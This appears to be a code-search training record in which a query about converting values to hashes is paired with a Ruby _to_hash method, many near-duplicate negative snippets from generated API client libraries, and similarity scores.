"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = ConnectWise.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = ConnectWise.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = ConnectWise.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = ConnectWise.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = NSXT.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = NSXT.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = NSXT.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = TreezorClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = TreezorClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = TreezorClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = SwiftApi.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = SwiftApi.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = TripletexApi.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = unwiredClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Quandoo.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end"
] |
[
"0.7330926",
"0.7274019",
"0.72504056",
"0.7245751",
"0.72291344",
"0.72291344",
"0.72291344",
"0.72291344",
"0.72291344",
"0.72291344",
"0.72291344",
"0.72291344",
"0.72291344",
"0.72291344",
"0.72291344",
"0.72291344",
"0.72291344",
"0.72291344",
"0.72291344",
"0.72291344",
"0.7218884",
"0.7213926",
"0.71909",
"0.7183136",
"0.71796805",
"0.71796805",
"0.71796805",
"0.71796805",
"0.71796805",
"0.71796805",
"0.71796805",
"0.71712995",
"0.71712995",
"0.71712995",
"0.71712995",
"0.71712995",
"0.71632504",
"0.71549904",
"0.71473306",
"0.71413666",
"0.71413666",
"0.7141116",
"0.7141116",
"0.7141116",
"0.7133874",
"0.7133874",
"0.7133874",
"0.7133874",
"0.71333444",
"0.71333444",
"0.7127688",
"0.7125744",
"0.71210617",
"0.71210617",
"0.71190786",
"0.71184087",
"0.711393",
"0.7113519",
"0.7113519",
"0.7113516",
"0.71119875",
"0.71119875",
"0.71119875",
"0.7105169",
"0.7105169",
"0.7105169",
"0.7104928",
"0.7104928",
"0.7104928",
"0.7104928",
"0.7104928",
"0.7104928",
"0.7104928",
"0.7104928",
"0.7104928",
"0.7104928",
"0.7104928",
"0.7104928",
"0.7104928",
"0.7104928",
"0.7102596",
"0.7102596",
"0.7102596",
"0.7101596",
"0.7101596",
"0.7101596",
"0.70996517",
"0.70996517",
"0.7097952",
"0.7097185",
"0.70965225"
] |
0.71791923
|
38
|
Returns the string representation of the object
|
def to_s
to_hash.to_s
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def to_s\n @object.to_s\n end",
"def to_s\n object.to_s\n end",
"def serialize(object)\n object.to_s\n end",
"def to_s\n self.inspect\n end",
"def to_s\n @string || @object.to_s('F')\n end",
"def to_s\n @string || @object.to_s('F')\n end",
"def to_s\n \"#<#{self.class.name}:#{object_id} #{info}>\"\n end",
"def to_s\n \"#<#{self.class.name}:#{object_id}> @names=#{names}>\"\n end",
"def to_s\n self.inspect\n end",
"def to_s\n toString()\n end",
"def to_s\r\n dump\r\n end",
"def to_s\n inspect\n end",
"def to_s\n toString\n end",
"def toString\n #Not sure if we want this or just use the getters for more\n #selective formatting\n end",
"def to_s\n\t\t\t@string\n\t\tend",
"def to_s\n stringify\n end",
"def to_s\n to_h.to_s\n end",
"def to_s\n @string\n end",
"def to_s\n @string\n end",
"def to_s\n @string\n end",
"def to_s\n @string\n end",
"def to_s\n @string\n end",
"def to_s\n @string\n end",
"def to_s\n @string\n end",
"def to_s\n @string\n end",
"def inspect\n serialize.to_s\n end",
"def inspect\n to_s\n end",
"def to_s\n @string ||= Builder::ToString.new(self).string\n end",
"def to_s\n self\n end",
"def to_s()\n serialize.to_s()\n end",
"def to_s()\n serialize.to_s()\n end",
"def to_s\n string\n end",
"def to_s\n inspect\n end",
"def to_s\n inspect\n end",
"def inspect\n to_s\n end",
"def inspect\n to_s\n end",
"def inspect\n to_s\n end",
"def inspect\n to_s\n end",
"def inspect\n to_s\n end",
"def inspect\n to_s\n end",
"def inspect\n to_s\n end",
"def inspect\n self.to_s\n end",
"def inspect\n self.to_s\n end",
"def inspect\n to_s\n end",
"def inspect\n to_s\n end",
"def to_s\n end",
"def to_s\n end",
"def to_s\n end",
"def to_s\n end",
"def inspect\n to_s.inspect\n end",
"def inspect()\n serialize.to_s()\n end",
"def inspect()\n serialize.to_s()\n end",
"def inspect\n return self.to_s\n end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end"
] |
[
"0.901024",
"0.89506465",
"0.84703195",
"0.83409667",
"0.8337169",
"0.8337169",
"0.8332247",
"0.82546586",
"0.8145818",
"0.8144667",
"0.81357557",
"0.812714",
"0.8093436",
"0.8086725",
"0.8073356",
"0.8039774",
"0.80308646",
"0.80064154",
"0.80064154",
"0.80064154",
"0.80064154",
"0.7962831",
"0.7962831",
"0.7962831",
"0.7962831",
"0.7954296",
"0.79446983",
"0.7919419",
"0.7909274",
"0.78848016",
"0.78848016",
"0.78841925",
"0.788328",
"0.788328",
"0.78758216",
"0.78758216",
"0.78758216",
"0.78758216",
"0.78758216",
"0.78758216",
"0.78758216",
"0.7866813",
"0.7866813",
"0.7865939",
"0.7865939",
"0.7850519",
"0.7850519",
"0.7850519",
"0.7850519",
"0.7808076",
"0.7784745",
"0.7784745",
"0.7767656",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824"
] |
0.0
|
-1
|
to_body is an alias to to_hash (backward compatibility)
|
def to_body
to_hash
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def to_body\r\n to_hash\r\n end",
"def to_body\n to_hash\nend",
"def to_body\n to_hash\nend"
] |
[
"0.8429592",
"0.8347019",
"0.8347019"
] |
0.0
|
-1
|
Returns the object in the form of hash
|
def to_hash
hash = {}
self.class.attribute_map.each_pair do |attr, param|
value = self.send(attr)
next if value.nil?
hash[param] = _to_hash(value)
end
hash
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def to_hash\n object\n end",
"def hash\r\n return to_s.hash\r\n end",
"def hash\n to_a.hash\n end",
"def hash\n [_hash, name, owner].hash\n end",
"def hash\n return to_s.hash\n end",
"def hash\n @hash\n end",
"def hash\n @hash.hash\n end",
"def hash\n @hash ||= self.to_a.hash\n end",
"def to_hash\n @hash\n end",
"def to_hash\n @hash\n end",
"def hash\n to_s.hash\n end",
"def to_hash\n @hash\n end",
"def to_h\n @object\n end",
"def to_h\n @object\n end",
"def to_h\n @object\n end",
"def to_h\n @object\n end",
"def to_h\n @object\n end",
"def to_h\n @object\n end",
"def to_h\n @object\n end",
"def to_h\n @object\n end",
"def to_h\n @object\n end",
"def to_h\n @object\n end",
"def to_h\n @object\n end",
"def to_h\n @object\n end",
"def to_h\n @object\n end",
"def to_h\n @object\n end",
"def to_h\n @hash\n end",
"def to_h\n @hash\n end",
"def hash\n to_h.hash ^ self.class.hash\n end",
"def as_hash\n @hash\n end",
"def __getobj__\n @hashobj\n end",
"def to_hash() end",
"def hash\n to_s.hash\n end",
"def hash\n to_s.hash\n end",
"def hash\n object_id\n end",
"def to_hash\n @_hash_\n end",
"def hash\n\t\treturn self.name.to_s.hash\n\tend",
"def to_hash\n to_a.hash\n end",
"def hash\n { hash: @hash, hashType: @hash_type }\n end",
"def hash\n data.hash\n end",
"def hash\n [self.class, to_h].hash\n end",
"def hash\n [self.class, to_h].hash\n end",
"def hash\n [self.class, to_h].hash\n end",
"def hash\r\n id.hash\r\n end",
"def hash\n \"#{self.class.name}-#{self.id}-#{@__metadata__.cas}-#{@__attributes__.hash}\".hash\n end",
"def hash\n attributes.hash\n end",
"def hash\n attributes.hash\n end",
"def hash\n attributes.hash\n end",
"def hash #:nodoc:\n __getobj__.hash ^ self.class.hash\n end",
"def hash\n self.to_f.hash\n end",
"def hash\n end",
"def hash\n end",
"def hash\n end",
"def to_hash\n return self\n end",
"def to_hash(object)\n validate_class_kit(object.class)\n\n @hash_helper.to_hash(object)\n end",
"def hash\n return @id.hash\n end",
"def to_h\n Hash[ self ]\n end",
"def to_hash\n Hash[self]\n end",
"def to_h\n @hash.dup\n end",
"def hash\n id.hash\n end",
"def hash\n id.hash\n end",
"def hash\n id.hash\n end",
"def hash\n id.hash\n end",
"def hash\n id.hash\n end",
"def hash\n id.hash\n end",
"def hash\n id.hash\n end",
"def hash\n id.hash\n end",
"def hash\n id.hash\n end",
"def hash\n id.hash\n end",
"def to_h\n @hash.dup\n end",
"def hash\n model.hash + key.hash\n end",
"def to_hash; end",
"def to_hash; end",
"def to_hash; end",
"def to_hash; end",
"def to_hash; end",
"def to_hash; end",
"def hash\n [self.class, to_s].hash\n end",
"def hash\n id.hash\n end",
"def hash\n id.hash\n end",
"def hash\n self.atoms.hash\n end",
"def to_h\n Hash[self]\n end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash\n\t\tvalue.hash\n\tend",
"def hash\n [description, routing_number, account_number, account_type, signatory, metadata, id, signature_url, bank_name, verified, date_created, date_modified, deleted, object].hash\n end",
"def hash\n @id.hash\n end",
"def hash\n id.hash\n end",
"def hash\n self.class.name.hash\n end",
"def to_h\n @_hash.dup\n end",
"def hash\n\t\t[@id].hash\n\tend",
"def hash\n [self.class, to_s].hash\n end",
"def __hash\n @hash\n end"
] |
[
"0.8270299",
"0.78767854",
"0.78726953",
"0.7802364",
"0.7789188",
"0.77806795",
"0.7775915",
"0.7767511",
"0.7760525",
"0.7760525",
"0.77559966",
"0.7731286",
"0.7713916",
"0.7713916",
"0.7713916",
"0.7713916",
"0.7713916",
"0.7713916",
"0.7713916",
"0.7713916",
"0.7713916",
"0.7713916",
"0.7713916",
"0.7713916",
"0.7713916",
"0.7713916",
"0.7647042",
"0.7647042",
"0.7626769",
"0.760354",
"0.7595938",
"0.7582562",
"0.7579971",
"0.7579971",
"0.7535553",
"0.7495252",
"0.7433835",
"0.7411177",
"0.73843014",
"0.73661345",
"0.73658615",
"0.73658615",
"0.73658615",
"0.73600674",
"0.7359121",
"0.73590857",
"0.73590857",
"0.73590857",
"0.7340058",
"0.73356754",
"0.7329828",
"0.7329828",
"0.7329828",
"0.73170114",
"0.730566",
"0.73028016",
"0.7294603",
"0.72854036",
"0.72643596",
"0.72637254",
"0.72620076",
"0.72620076",
"0.72620076",
"0.72620076",
"0.72620076",
"0.72620076",
"0.72620076",
"0.72620076",
"0.72620076",
"0.726188",
"0.72524244",
"0.72511965",
"0.72511965",
"0.72511965",
"0.72511965",
"0.72511965",
"0.72511965",
"0.72479564",
"0.72474235",
"0.72474235",
"0.7241066",
"0.7229342",
"0.7228758",
"0.7228758",
"0.7228758",
"0.7228758",
"0.7228758",
"0.7228758",
"0.7228758",
"0.7228758",
"0.7228758",
"0.7228758",
"0.7224175",
"0.72185695",
"0.72126305",
"0.72116995",
"0.71945405",
"0.71828544",
"0.7181684",
"0.7171822",
"0.71657544"
] |
0.0
|
-1
|
Outputs nonarray value in the form of hash For object, use to_hash. Otherwise, just return the value
|
def _to_hash(value)
if value.is_a?(Array)
value.compact.map{ |v| _to_hash(v) }
elsif value.is_a?(Hash)
{}.tap do |hash|
value.each { |k, v| hash[k] = _to_hash(v) }
end
elsif value.respond_to? :to_hash
value.to_hash
else
value
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def hash\n [value].hash\n end",
"def hash\n [value].hash\n end",
"def hash\n\t\tvalue.hash\n\tend",
"def hash\n value.hash\n end",
"def hash\n @value.hash\n end",
"def hash\r\n return to_s.hash\r\n end",
"def to_hash\n @value\n end",
"def to_hash\n @value\n end",
"def hash\n @hash || @hash = (value.hash * -1)\n end",
"def output_hash; end",
"def to_hash() end",
"def hash\n return to_s.hash\n end",
"def hash\n value_id.hash\n end",
"def to_hash\n call\n @hash = @value\n @hash\n end",
"def hash\n to_s.hash\n end",
"def hash\n to_s.hash\n end",
"def hash\n self.to_f.hash\n end",
"def hash\n to_s.hash\n end",
"def to_hash(obj = T.unsafe(nil)); end",
"def to_h\n @value\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map{ |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map{ |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map{ |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map{ |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map{ |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map { |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map { |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map { |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map { |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def value_to_hash(value, options = T.unsafe(nil)); end",
"def to_s\r\n to_hash.to_s\r\n end",
"def _to_hash(value)\r\n if value.is_a?(Array)\r\n value.compact.map{ |v| _to_hash(v) }\r\n elsif value.is_a?(Hash)\r\n {}.tap do |hash|\r\n value.each { |k, v| hash[k] = _to_hash(v) }\r\n end\r\n elsif value.respond_to? :to_hash\r\n value.to_hash\r\n else\r\n value\r\n end\r\n end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def to_s\n to_hash.to_s\nend",
"def to_s\n to_hash.to_s\nend",
"def to_h(value)\n return value unless @to_h\n @to_h.call value\n end",
"def to_hash\n Hash[to_a]\n end",
"def to_hash; end",
"def to_hash; end",
"def to_hash; end",
"def to_hash; end",
"def to_hash; end",
"def to_hash; end"
] |
[
"0.6719518",
"0.6719518",
"0.666832",
"0.66565555",
"0.6586841",
"0.6452931",
"0.6414911",
"0.6414911",
"0.6382046",
"0.6346188",
"0.6302933",
"0.62237245",
"0.6151989",
"0.6101756",
"0.60795677",
"0.60795677",
"0.60717124",
"0.6035991",
"0.6021168",
"0.5936472",
"0.5903488",
"0.5903488",
"0.5903488",
"0.5903488",
"0.5903488",
"0.5890367",
"0.5890367",
"0.5884459",
"0.5884459",
"0.58669275",
"0.58533067",
"0.58355993",
"0.58215266",
"0.58215266",
"0.58215266",
"0.58215266",
"0.58215266",
"0.58215266",
